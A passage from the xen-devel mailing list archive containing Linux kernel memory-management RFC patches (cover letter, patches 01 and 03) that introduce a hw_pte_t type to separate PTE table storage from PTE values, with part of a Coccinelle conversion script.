-		    pages >= balloon_stats.target_pages) {
+		if (xen_pv_domain()) {
+			balloon_stats.total_pages += pages;
+		} else if (pages >= balloon_stats.current_pages ||
+		           pages >= balloon_stats.target_pages) {
 			WARN(1, "Extra pages underflow current target");
 			return -ERANGE;
+		} else {
+			balloon_stats.current_pages -= pages;
+			balloon_stats.target_pages -= pages;
 		}
-		balloon_stats.current_pages -= pages;
-		balloon_stats.target_pages -= pages;
 	}
 
 	return 0;


From xen-devel-bounces@lists.xenproject.org Mon Jul 27 16:55:50 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 16:55:50 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371795.1619276 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woOcH-0007iK-SD; Mon, 27 Jul 2026 16:55:49 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371795.1619276; Mon, 27 Jul 2026 16:55:49 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woOcH-0007iD-NN; Mon, 27 Jul 2026 16:55:49 +0000
Received: by outflank-mailman (input) for mailman id 1371795;
 Mon, 27 Jul 2026 16:47:47 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <usama.anjum@arm.com>) id 1woOUV-0005hJ-8G
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 16:47:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woOUU-008hAK-6O
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 18:47:46 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <usama.anjum@arm.com>)
 id 6a678b9b-e002-0a2a0a5209dd-0a2a4506abe0-32
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 18:47:45 +0200
Received: from [217.140.110.172] (helo=foss.arm.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTP (eXpurgate 4.57.1)
 (envelope-from <usama.anjum@arm.com>)
 id 6a678bb1-195a-0a2a45060019-d98c6eace028-1
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 18:47:45 +0200
Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.121.207.14])
 by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 5F79516F8;
 Mon, 27 Jul 2026 09:47:40 -0700 (PDT)
Received: from e142334-100.cambridge.arm.com (e142334-100.cambridge.arm.com
 [10.2.198.93])
 by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPA id CB9873F86F;
 Mon, 27 Jul 2026 09:47:35 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=foss header.d=arm.com header.i="@arm.com" header.h="From:To:Cc:Subject:Date:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=arm.com; s=foss;
	t=1785170864; bh=HTxL5I80nQ3dFGJzsPYMsGaUEA0cATezEAGoZ6SZAko=;
	h=From:To:Cc:Subject:Date:In-Reply-To:References:From;
	b=cD/2EUfMuUeyBVWNFHChNrDBH7K/jYSjTJKf2AXn2R9DI+PVxfhjgfb453XXO3T00
	 wM2xtUT1X0QX+sopNRnwbQI/o96tO4ir4xNQ7qJwgqdJF5QNcWrVk4USoCTYK5iOy/
	 9Wp82ZRCjM6t4RzOb3pUepvrD42VVL0Lu3oBSBc0=
From: Muhammad Usama Anjum <usama.anjum@arm.com>
To: Jani Nikula <jani.nikula@linux.intel.com>,
	Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
	Rodrigo Vivi <rodrigo.vivi@intel.com>,
	Tvrtko Ursulin <tursulin@ursulin.net>,
	David Airlie <airlied@gmail.com>,
	Simona Vetter <simona@ffwll.ch>,
	Dimitri Sivanich <dimitri.sivanich@hpe.com>,
	Arnd Bergmann <arnd@arndb.de>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	"James E.J. Bottomley" <James.Bottomley@HansenPartnership.com>,
	Helge Deller <deller@gmx.de>,
	Juergen Gross <jgross@suse.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Muchun Song <muchun.song@linux.dev>,
	Oscar Salvador <osalvador@suse.de>,
	Andrew Morton <akpm@linux-foundation.org>,
	"Liam R. Howlett" <liam@infradead.org>,
	Lorenzo Stoakes <ljs@kernel.org>,
	Will Deacon <will@kernel.org>,
	"Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
	Nick Piggin <npiggin@gmail.com>,
	Peter Zijlstra <peterz@infradead.org>,
	Andrey Ryabinin <ryabinin.a.a@gmail.com>,
	David Hildenbrand <david@kernel.org>,
	Pasha Tatashin <pasha.tatashin@soleen.com>,
	Chris Li <chrisl@kernel.org>,
	Kairui Song <kasong@tencent.com>,
	Uladzislau Rezki <urezki@gmail.com>,
	Steven Rostedt <rostedt@goodmis.org>,
	Masami Hiramatsu <mhiramat@kernel.org>,
	Alexei Starovoitov <ast@kernel.org>,
	Daniel Borkmann <daniel@iogearbox.net>,
	Andrii Nakryiko <andrii@kernel.org>,
	Eduard Zingerman <eddyz87@gmail.com>,
	Kumar Kartikeya Dwivedi <memxor@gmail.com>,
	Ingo Molnar <mingo@redhat.com>,
	Arnaldo Carvalho de Melo <acme@kernel.org>,
	Namhyung Kim <namhyung@kernel.org>,
	SJ Park <sj@kernel.org>,
	"Matthew Wilcox (Oracle)" <willy@infradead.org>,
	Jan Kara <jack@suse.cz>,
	Jason Gunthorpe <jgg@ziepe.ca>,
	Leon Romanovsky <leon@kernel.org>,
	Miaohe Lin <linmiaohe@huawei.com>,
	Dennis Zhou <dennis@kernel.org>,
	Tejun Heo <tj@kernel.org>,
	Christoph Lameter <cl@gentwo.org>,
	Mike Rapoport <rppt@kernel.org>,
	Johannes Weiner <hannes@cmpxchg.org>,
	ziy@nvidia.com,
	pfalcato@suse.de,
	agordeev@linux.ibm.com,
	ryan.roberts@arm.com
Cc: Muhammad Usama Anjum <usama.anjum@arm.com>,
	linux-kernel@vger.kernel.org,
	intel-gfx@lists.freedesktop.org,
	dri-devel@lists.freedesktop.org,
	linux-parisc@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-mm@kvack.org,
	linux-fsdevel@vger.kernel.org,
	linux-arch@vger.kernel.org,
	kasan-dev@googlegroups.com,
	linux-trace-kernel@vger.kernel.org,
	bpf@vger.kernel.org,
	linux-perf-users@vger.kernel.org,
	damon@lists.linux.dev
Subject: [PATCH RFC 01/11] mm: introduce hw_pte_t for PTE table storage
Date: Mon, 27 Jul 2026 17:46:52 +0100
Message-ID: <20260727164715.2866609-2-usama.anjum@arm.com>
X-Mailer: git-send-email 2.47.3
In-Reply-To: <20260727164715.2866609-1-usama.anjum@arm.com>
References: <20260727164715.2866609-1-usama.anjum@arm.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-16d1c6/1785170865-F5E0E77B-B74966A7/0/0
X-purgate-type: clean
X-purgate-size: 1563

pte_t is used both for logical PTE values and for entries stored in a PTE
table, so pte_t * does not distinguish a pointer to a copied value from a
pointer to table storage.

Introduce hw_pte_t as the generic name for a PTE table element. Define it
as an alias of pte_t by default so architectures retain their existing
representation and behavior until they opt in to a distinct storage type.

Include asm/page.h so pte_t is defined before the generic alias.

Signed-off-by: Muhammad Usama Anjum <usama.anjum@arm.com>
---
 MAINTAINERS                   |  1 +
 include/linux/pgtable_types.h | 11 +++++++++++
 2 files changed, 12 insertions(+)
 create mode 100644 include/linux/pgtable_types.h

diff --git a/MAINTAINERS b/MAINTAINERS
index 15dd00c7ffec5..78aac05949829 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -16981,6 +16981,7 @@ F:	include/linux/mmu_notifier.h
 F:	include/linux/pagewalk.h
 F:	include/linux/pgalloc.h
 F:	include/linux/pgtable.h
+F:	include/linux/pgtable_types.h
 F:	include/linux/ptdump.h
 F:	include/linux/vmpressure.h
 F:	include/linux/vmstat.h
diff --git a/include/linux/pgtable_types.h b/include/linux/pgtable_types.h
new file mode 100644
index 0000000000000..ed5dba42a4f8c
--- /dev/null
+++ b/include/linux/pgtable_types.h
@@ -0,0 +1,11 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#ifndef _LINUX_PGTABLE_TYPES_H
+#define _LINUX_PGTABLE_TYPES_H
+
+#include <asm/page.h>
+
+#ifndef __HAVE_ARCH_HW_PTE_T
+#define hw_pte_t pte_t
+#endif
+
+#endif /* _LINUX_PGTABLE_TYPES_H */
-- 
2.47.3



From xen-devel-bounces@lists.xenproject.org Mon Jul 27 16:55:50 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 16:55:50 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371799.1619285 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woOcI-0007t5-CE; Mon, 27 Jul 2026 16:55:50 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371799.1619285; Mon, 27 Jul 2026 16:55:50 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woOcI-0007rC-8F; Mon, 27 Jul 2026 16:55:50 +0000
Received: by outflank-mailman (input) for mailman id 1371799;
 Mon, 27 Jul 2026 16:48:05 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <usama.anjum@arm.com>) id 1woOUn-0005if-ER
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 16:48:05 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woOUm-000Jar-DK
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 18:48:04 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <usama.anjum@arm.com>)
 id 6a678bc3-bab6-0a2a0a5309dd-0a2a4506c9c6-0
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 18:48:03 +0200
Received: from [217.140.110.172] (helo=foss.arm.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTP (eXpurgate 4.57.1)
 (envelope-from <usama.anjum@arm.com>)
 id 6a678bc3-195a-0a2a45060019-d98c6eac9434-1
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 18:48:03 +0200
Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.121.207.14])
 by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 5F7E01713;
 Mon, 27 Jul 2026 09:47:58 -0700 (PDT)
Received: from e142334-100.cambridge.arm.com (e142334-100.cambridge.arm.com
 [10.2.198.93])
 by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPA id C99943F86F;
 Mon, 27 Jul 2026 09:47:53 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=foss header.d=arm.com header.i="@arm.com" header.h="From:To:Cc:Subject:Date:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=arm.com; s=foss;
	t=1785170882; bh=1nPdXqpMGrD8xhrtZLy0UKY4t0IJBjPnmmBVyVTpx2M=;
	h=From:To:Cc:Subject:Date:In-Reply-To:References:From;
	b=VrTwGW4mYDqQ+Z27OKZvmrSWlMxIF9vB8wItFBCFzOD96K2SMpyMovHX9gdNiY0K6
	 KTkZ43BeXBYATryo387K8Y/zE/PbD147zbQij+iKgrmmKw6au5gN84pjtEpgkqn/nN
	 weSnIFswO51i+rS/asQ1MifW24hm3Y/lBeLNUCWM=
From: Muhammad Usama Anjum <usama.anjum@arm.com>
To: Jani Nikula <jani.nikula@linux.intel.com>,
	Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
	Rodrigo Vivi <rodrigo.vivi@intel.com>,
	Tvrtko Ursulin <tursulin@ursulin.net>,
	David Airlie <airlied@gmail.com>,
	Simona Vetter <simona@ffwll.ch>,
	Dimitri Sivanich <dimitri.sivanich@hpe.com>,
	Arnd Bergmann <arnd@arndb.de>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	"James E.J. Bottomley" <James.Bottomley@HansenPartnership.com>,
	Helge Deller <deller@gmx.de>,
	Juergen Gross <jgross@suse.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Muchun Song <muchun.song@linux.dev>,
	Oscar Salvador <osalvador@suse.de>,
	Andrew Morton <akpm@linux-foundation.org>,
	"Liam R. Howlett" <liam@infradead.org>,
	Lorenzo Stoakes <ljs@kernel.org>,
	Will Deacon <will@kernel.org>,
	"Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
	Nick Piggin <npiggin@gmail.com>,
	Peter Zijlstra <peterz@infradead.org>,
	Andrey Ryabinin <ryabinin.a.a@gmail.com>,
	David Hildenbrand <david@kernel.org>,
	Pasha Tatashin <pasha.tatashin@soleen.com>,
	Chris Li <chrisl@kernel.org>,
	Kairui Song <kasong@tencent.com>,
	Uladzislau Rezki <urezki@gmail.com>,
	Steven Rostedt <rostedt@goodmis.org>,
	Masami Hiramatsu <mhiramat@kernel.org>,
	Alexei Starovoitov <ast@kernel.org>,
	Daniel Borkmann <daniel@iogearbox.net>,
	Andrii Nakryiko <andrii@kernel.org>,
	Eduard Zingerman <eddyz87@gmail.com>,
	Kumar Kartikeya Dwivedi <memxor@gmail.com>,
	Ingo Molnar <mingo@redhat.com>,
	Arnaldo Carvalho de Melo <acme@kernel.org>,
	Namhyung Kim <namhyung@kernel.org>,
	SJ Park <sj@kernel.org>,
	"Matthew Wilcox (Oracle)" <willy@infradead.org>,
	Jan Kara <jack@suse.cz>,
	Jason Gunthorpe <jgg@ziepe.ca>,
	Leon Romanovsky <leon@kernel.org>,
	Miaohe Lin <linmiaohe@huawei.com>,
	Dennis Zhou <dennis@kernel.org>,
	Tejun Heo <tj@kernel.org>,
	Christoph Lameter <cl@gentwo.org>,
	Mike Rapoport <rppt@kernel.org>,
	Johannes Weiner <hannes@cmpxchg.org>,
	ziy@nvidia.com,
	pfalcato@suse.de,
	agordeev@linux.ibm.com,
	ryan.roberts@arm.com
Cc: Muhammad Usama Anjum <usama.anjum@arm.com>,
	linux-kernel@vger.kernel.org,
	intel-gfx@lists.freedesktop.org,
	dri-devel@lists.freedesktop.org,
	linux-parisc@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-mm@kvack.org,
	linux-fsdevel@vger.kernel.org,
	linux-arch@vger.kernel.org,
	kasan-dev@googlegroups.com,
	linux-trace-kernel@vger.kernel.org,
	bpf@vger.kernel.org,
	linux-perf-users@vger.kernel.org,
	damon@lists.linux.dev
Subject: [PATCH RFC 03/11] mm: name pointers to copied PTE values ptentp
Date: Mon, 27 Jul 2026 17:46:54 +0100
Message-ID: <20260727164715.2866609-4-usama.anjum@arm.com>
X-Mailer: git-send-email 2.47.3
In-Reply-To: <20260727164715.2866609-1-usama.anjum@arm.com>
References: <20260727164715.2866609-1-usama.anjum@arm.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-16d1c6/1785170883-F520877B-B7B78683/0/0
X-purgate-type: clean
X-purgate-size: 2481

The hw_pte_t conversion must retain pte_t * for pointers to standalone PTE
values. Name the value parameters ptentp in the install_pte callback,
write_protect_page(), and guard_install_set_pte() so the later mechanical
conversion can distinguish them from pointers to PTE table storage.

Some functions already use the ptentp name, including:
- madvise_folio_pte_batch()
- folio_pte_batch_flags()
No need to convert them.

This is a naming-only change.

Signed-off-by: Muhammad Usama Anjum <usama.anjum@arm.com>
---
 include/linux/pagewalk.h | 2 +-
 mm/ksm.c                 | 4 ++--
 mm/madvise.c             | 4 ++--
 3 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/include/linux/pagewalk.h b/include/linux/pagewalk.h
index b41d7265c01bc..c34d826c5e4a2 100644
--- a/include/linux/pagewalk.h
+++ b/include/linux/pagewalk.h
@@ -89,7 +89,7 @@ struct mm_walk_ops {
 		       struct mm_walk *walk);
 	void (*post_vma)(struct mm_walk *walk);
 	int (*install_pte)(unsigned long addr, unsigned long next,
-			   pte_t *ptep, struct mm_walk *walk);
+			   pte_t *ptentp, struct mm_walk *walk);
 	enum page_walk_lock walk_lock;
 };
 
diff --git a/mm/ksm.c b/mm/ksm.c
index b9b32f7bfb691..c41b2c241bb09 100644
--- a/mm/ksm.c
+++ b/mm/ksm.c
@@ -1292,7 +1292,7 @@ static u32 calc_checksum(struct page *page)
 }
 
 static int write_protect_page(struct vm_area_struct *vma, struct folio *folio,
-			      pte_t *orig_pte)
+			      pte_t *ptentp)
 {
 	struct mm_struct *mm = vma->vm_mm;
 	DEFINE_FOLIO_VMA_WALK(pvmw, folio, vma, 0, 0);
@@ -1371,7 +1371,7 @@ static int write_protect_page(struct vm_area_struct *vma, struct folio *folio,
 
 		set_pte_at(mm, pvmw.address, pvmw.pte, entry);
 	}
-	*orig_pte = entry;
+	*ptentp = entry;
 	err = 0;
 
 out_unlock:
diff --git a/mm/madvise.c b/mm/madvise.c
index 07a21ca31bad4..c324cc991f841 100644
--- a/mm/madvise.c
+++ b/mm/madvise.c
@@ -1101,12 +1101,12 @@ static int guard_install_pte_entry(pte_t *pte, unsigned long addr,
 }
 
 static int guard_install_set_pte(unsigned long addr, unsigned long next,
-				 pte_t *ptep, struct mm_walk *walk)
+				 pte_t *ptentp, struct mm_walk *walk)
 {
 	unsigned long *nr_pages = (unsigned long *)walk->private;
 
 	/* Simply install a PTE marker, this causes segfault on access. */
-	*ptep = make_pte_marker(PTE_MARKER_GUARD);
+	*ptentp = make_pte_marker(PTE_MARKER_GUARD);
 	(*nr_pages)++;
 
 	return 0;
-- 
2.47.3



From xen-devel-bounces@lists.xenproject.org Mon Jul 27 16:55:50 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 16:55:50 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371793.1619270 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woOcH-0007ff-Jc; Mon, 27 Jul 2026 16:55:49 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371793.1619270; Mon, 27 Jul 2026 16:55:49 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woOcH-0007fY-GS; Mon, 27 Jul 2026 16:55:49 +0000
Received: by outflank-mailman (input) for mailman id 1371793;
 Mon, 27 Jul 2026 16:47:40 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <usama.anjum@arm.com>) id 1woOUN-0005gn-MB
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 16:47:40 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woOUM-004PRh-BH
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 18:47:38 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <usama.anjum@arm.com>)
 id 6a678ba4-2eae-0a2a0a5409dd-0a2a45089e06-12
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 18:47:37 +0200
Received: from [217.140.110.172] (helo=foss.arm.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTP (eXpurgate 4.57.1)
 (envelope-from <usama.anjum@arm.com>)
 id 6a678ba8-f659-0a2a45080019-d98c6eac9352-1
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 18:47:36 +0200
Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.121.207.14])
 by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 635E51682;
 Mon, 27 Jul 2026 09:47:31 -0700 (PDT)
Received: from e142334-100.cambridge.arm.com (e142334-100.cambridge.arm.com
 [10.2.198.93])
 by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPA id C8E073F86F;
 Mon, 27 Jul 2026 09:47:26 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=foss header.d=arm.com header.i="@arm.com" header.h="From:To:Cc:Subject:Date"
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=arm.com; s=foss;
	t=1785170855; bh=w4k+bQmvUuHGI/24VevNijHqxyxPwL/+LhPYxLtjyuU=;
	h=From:To:Cc:Subject:Date:From;
	b=eNStiesHwmBomV6wrOQ8H5zsD4tgspqHk2F4hp05t+nsAbON7NhhaJZIlsbIoaDE5
	 MQeD7VCk0M0n0M/zvl59Kf+yEaeZvKmNlr01S/W3ryf24Ziy0VJkB3GKbm+aeaR8ZL
	 t+/uPNoYKFC+9W5v+wKeGdyfY/NjlIvdqscmhDX0=
From: Muhammad Usama Anjum <usama.anjum@arm.com>
To: Jani Nikula <jani.nikula@linux.intel.com>,
	Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
	Rodrigo Vivi <rodrigo.vivi@intel.com>,
	Tvrtko Ursulin <tursulin@ursulin.net>,
	David Airlie <airlied@gmail.com>,
	Simona Vetter <simona@ffwll.ch>,
	Dimitri Sivanich <dimitri.sivanich@hpe.com>,
	Arnd Bergmann <arnd@arndb.de>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	"James E.J. Bottomley" <James.Bottomley@HansenPartnership.com>,
	Helge Deller <deller@gmx.de>,
	Juergen Gross <jgross@suse.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Muchun Song <muchun.song@linux.dev>,
	Oscar Salvador <osalvador@suse.de>,
	Andrew Morton <akpm@linux-foundation.org>,
	"Liam R. Howlett" <liam@infradead.org>,
	Lorenzo Stoakes <ljs@kernel.org>,
	Will Deacon <will@kernel.org>,
	"Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
	Nick Piggin <npiggin@gmail.com>,
	Peter Zijlstra <peterz@infradead.org>,
	Andrey Ryabinin <ryabinin.a.a@gmail.com>,
	David Hildenbrand <david@kernel.org>,
	Pasha Tatashin <pasha.tatashin@soleen.com>,
	Chris Li <chrisl@kernel.org>,
	Kairui Song <kasong@tencent.com>,
	Uladzislau Rezki <urezki@gmail.com>,
	Steven Rostedt <rostedt@goodmis.org>,
	Masami Hiramatsu <mhiramat@kernel.org>,
	Alexei Starovoitov <ast@kernel.org>,
	Daniel Borkmann <daniel@iogearbox.net>,
	Andrii Nakryiko <andrii@kernel.org>,
	Eduard Zingerman <eddyz87@gmail.com>,
	Kumar Kartikeya Dwivedi <memxor@gmail.com>,
	Ingo Molnar <mingo@redhat.com>,
	Arnaldo Carvalho de Melo <acme@kernel.org>,
	Namhyung Kim <namhyung@kernel.org>,
	SJ Park <sj@kernel.org>,
	"Matthew Wilcox (Oracle)" <willy@infradead.org>,
	Jan Kara <jack@suse.cz>,
	Jason Gunthorpe <jgg@ziepe.ca>,
	Leon Romanovsky <leon@kernel.org>,
	Miaohe Lin <linmiaohe@huawei.com>,
	Dennis Zhou <dennis@kernel.org>,
	Tejun Heo <tj@kernel.org>,
	Christoph Lameter <cl@gentwo.org>,
	Mike Rapoport <rppt@kernel.org>,
	Johannes Weiner <hannes@cmpxchg.org>,
	ziy@nvidia.com,
	pfalcato@suse.de,
	agordeev@linux.ibm.com,
	ryan.roberts@arm.com
Cc: Muhammad Usama Anjum <usama.anjum@arm.com>,
	linux-kernel@vger.kernel.org,
	intel-gfx@lists.freedesktop.org,
	dri-devel@lists.freedesktop.org,
	linux-parisc@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-mm@kvack.org,
	linux-fsdevel@vger.kernel.org,
	linux-arch@vger.kernel.org,
	kasan-dev@googlegroups.com,
	linux-trace-kernel@vger.kernel.org,
	bpf@vger.kernel.org,
	linux-perf-users@vger.kernel.org,
	damon@lists.linux.dev
Subject: [PATCH RFC 00/11] mm: distinguish PTE table storage from PTE values
Date: Mon, 27 Jul 2026 17:46:51 +0100
Message-ID: <20260727164715.2866609-1-usama.anjum@arm.com>
X-Mailer: git-send-email 2.47.3
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c1860d/1785170857-D5D4887B-4913AD63/0/0
X-purgate-type: clean
X-purgate-size: 11155

Hi,

pte_t currently describes both a logical PTE value and an element stored in
a PTE table. Consequently, pte_t * can point either to a standalone value,
often a stack copy, or to a PTE-table slot. The compiler cannot distinguish
these cases. A value pointer can therefore be passed to an interface that
expects table storage, while table storage can be read by direct
dereference instead of the architecture accessor.

This series begins a staged conversion at the PTE level. It introduces
hw_pte_t as the element type for PTE-table storage and converts generic MM
to use hw_pte_t *. Logical PTE values remain pte_t. Interfaces that
intentionally return a value through pte_t *, such as install_pte, remain
value interfaces; the relevant parameters are named ptentp to make that
distinction explicit.

The generic definition aliases hw_pte_t to pte_t, so this series preserves
the representation and behaviour of every architecture. ptep_get() keeps
its existing READ_ONCE() semantics and converts the stored element through
__pte_from_hw(). An architecture can later define a distinct hw_pte_t and
convert its PTE interfaces to make the distinction compiler-enforced.
Architecture PTE implementations and most architecture code are
deliberately left for those later opt-in conversions.

Here, hw_pte_t identifies PTE-table storage rather than table lifetime:
complete PTE tables use hw_pte_t whether or not they are currently linked
into a page-table hierarchy, while standalone copied values use pte_t. The
distinction between complete but unlinked tables and hardware-reachable
tables was raised during discussion and remains an important point for
review.

PMD, PUD, P4D and PGD storage are deliberately out of scope. They can be
converted in later series after the PTE boundary is agreed, avoiding the
PMD-specific cases that made an all-level conversion difficult to review.

Most mechanical pointer conversions were generated with the Coccinelle
script included below, then audited and fixed by hand.

This series does not add a second ptep_get_once() accessor and does not
remove or replace STRICT_MM_TYPECHECKS.

The design discussion is available at [1]; while the original idea came from
[2].

[1] https://lore.kernel.org/all/6110202c-057b-4701-8c04-1a76ee7bb9ab@arm.com/
[2] https://lore.kernel.org/all/a063f6c5-2785-4a9f-8079-25edb3e54cef@arm.com

Thanks,
Usama
---
// SPDX-License-Identifier: GPL-2.0-only
///
/// Rename raw PTE pointer types to hardware PTE pointer types.
///
/// This is a mechanical type rename. It converts common declarations,
/// function parameters, prototypes, return types and casts from "pte_t *"
/// to "hw_pte_t *". Plain "pte_t" objects are intentionally left unchanged.
/// Pointers named "ptentp" refer to temporary logical PTE values and are
/// intentionally ignored in all modes.
/// Re-run in context mode afterwards to audit remaining raw pte_t pointers
/// and cases that need hand conversion, such as trace macros and mixed
/// declarations.
///
/// Confidence: Moderate
// Options: --no-includes --include-headers

virtual patch
virtual report
virtual context

@local_decl depends on patch@
identifier x != ptentp;
@@
- pte_t *x;
+ hw_pte_t *x;

@local_decl_init depends on patch@
identifier x != ptentp;
expression e;
@@
- pte_t *x = e;
+ hw_pte_t *x = e;

@param_proto depends on patch@
identifier f;
identifier x != ptentp;
type R;
@@
R f(...,
- pte_t *x
+ hw_pte_t *x
,...);

@param_proto_unnamed depends on patch@
identifier f;
type R;
@@
R f(...,
- pte_t *
+ hw_pte_t *
,...);

@param_def depends on patch@
identifier f;
identifier x != ptentp;
type R;
